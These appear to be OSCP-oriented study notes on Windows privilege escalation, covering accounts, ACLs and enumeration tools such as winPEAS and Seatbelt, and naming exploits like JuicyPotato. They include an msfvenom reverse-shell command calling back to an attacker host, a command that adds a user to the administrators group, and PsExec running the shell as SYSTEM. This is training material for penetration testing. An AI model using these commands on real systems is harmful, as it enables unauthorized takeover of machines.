

Disclaimer: This note is designed with the OSCP exam in mind, but it also attempts to cover a wide range of escalation techniques beyond what an OSCP student is expected to understand.

Understanding that privilege escalation is often highly complex, and new techniques are developed over time, this course is not intended to be "complete" guide to every privilege escalation technique.

When appropriate, the author (Tib3rius) will update the course materials to include new techniques which are considered to be valuable.

Privilege Escalation in Windows:

Our ultimate goal with privilege escalation in Windows is to gain a shell running as an Administrator or the SYSTEM user.

Privilege escalation can be simple (eg; a kernel exploit) or require a lot of reconnaissance on the compromised system.

In a lot of cases, privilege escalation may not simply rely on a single misconfiguration, but may require you to think, and combine multiple misconfigurations.

 **All privilege escalations are effectively examples of access control violations.**

Access control and user permission are intrinsically linked.

When focusing on privilege escalation on Windows, understanding how Windows handles permission is very important.

Understanding how Windows handles permissions is very important.

User Accounts:

- User accounts are used to log into a Windows system
- Think of a user account as a collection of strings / preferences bound to a unique identity
- The local "Administrator" account is **created by default** at installation
- Several other default user accounts may exist (e.g; Guest) depending on the version of Windows

Service Accounts:

- Service accounts are (somewhat obviously) used to run services in Windows
- Service accounts **cannot** be used to sign into a Windows system
- The SYSTEM account is a default service account which has the **highest privileges** of any local account in Windows
- Other default service accounts include **NETWORK SERVICE** and **LOCAL SERVICE**

Groups:

- User accounts can belong to multiple groups, and groups can have multiple users
- Groups allow for easier access control to resources
- Regular groups (e.g; Administrators, Users) have a set list of members
- Pseudo groups (e.g; "Authenticated Users") have a dynamic list of members which changes based on certain interactions

Resources:

- In windows, there are multiple types of resource (also known as objects):
 - Files / Directories
 - Registry Entries
 - Services
- Whether a user and /or group has permission to perform a certain action on a resource depends on that resource's access control list (ACL)

ACLs & ACEs:

- Permissions to access a certain resource in Windows are controlled by the access control list (ACL) for that resource
- Each ACL is made up of zero or more access control entries (ACEs)
- Each ACE defines the relationship between a principal (e.g; a user, group) and a certain access right

Spawning Administrator Shells

msfvenom

If we can execute commands with admin privileges, a reverse shell generated by msfvenom works nicely:

```
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=53 -f exe -o reverse.exe
```

This reverse shell can be caught using **netcat**, or Metasploit's own **multi/handler**

RDP

Alternatively, if RDP is available (or we can enable it), we can add our low privileged user to the administrators group and then spawn an administrator command prompt via the GUI

```
> net localgroup administrators <username> /add
```

ADMIN -> SYSTEM

To escalate from an admin user to full SYSTEM privileges, you can use the PsExec tool from Windows Sysinternals - <https://docs.microsoft.com/en-us/sysinternals/downloads/psexec>

```
> .\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe
```

Privilege Escalation Tools

Why use tools?

- Tools allows us to automate the reconnaissance that can identify potential privilege escalations
- While it is always important to understand what tools are doing, they are invaluable in a time-limited setting, such as an exam
- In this course, we will mostly be using **winPEAS** and **Seatbelt**, however you are free to experiment with other tools and decide which you like

PowerUp/SharpUp:

- PowerUp & SharpUp are very similar tools that hunt for specific privilege escalation misconfigurations
- PowerUp:
<https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1>
- SharpUp:
<https://github.com/GhostPack/SharpUp>
Pre-compiled SharpUp: <https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe>

Seatbelt:

- Seatbelt is an enumeration tool. It contains a number of enumeration checks.
- It does not actively hunt for privilege escalation misconfigurations, but provides related information for further investigation

- Seatbelt:

<https://github.com/GhostPack/Seatbelt>

Pre-compiled Seatbelt: <https://github.com/r3m0tecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe>

winPEAS:


- winPEAS is a very powerful tool that not only actively hunts for privilege escalation misconfigurations, but highlights them for the user in the results

<https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS>

- `winPEASany.exe -h`

accesschk.exe:

- AccessChk is an old but still trustworthy tool for checking user access control rights
- You can use it to check whether a user or group has access to files, directories, services, and registry keys
- The downside is more recover versions of the program spawn a GUI "accept EULA" popup window. When using the command line, we have to use an older version which still has an `/accepteula` command line option

 **Downloading Windows 10 VM and intentionally misconfigure using the setup script written by 0xtib3rius:**

<https://github.com/Tib3rius/Windows-PrivEsc-Setup>

Other noteworthy tools: (Some can be found with SysInternals)

Please find a way to collect these exploits as they are useful

cve-2018-8120-x64

JuicyPotato

plink

potato

PrintSpoofer

Procmon64

PsExec64

RoguePotato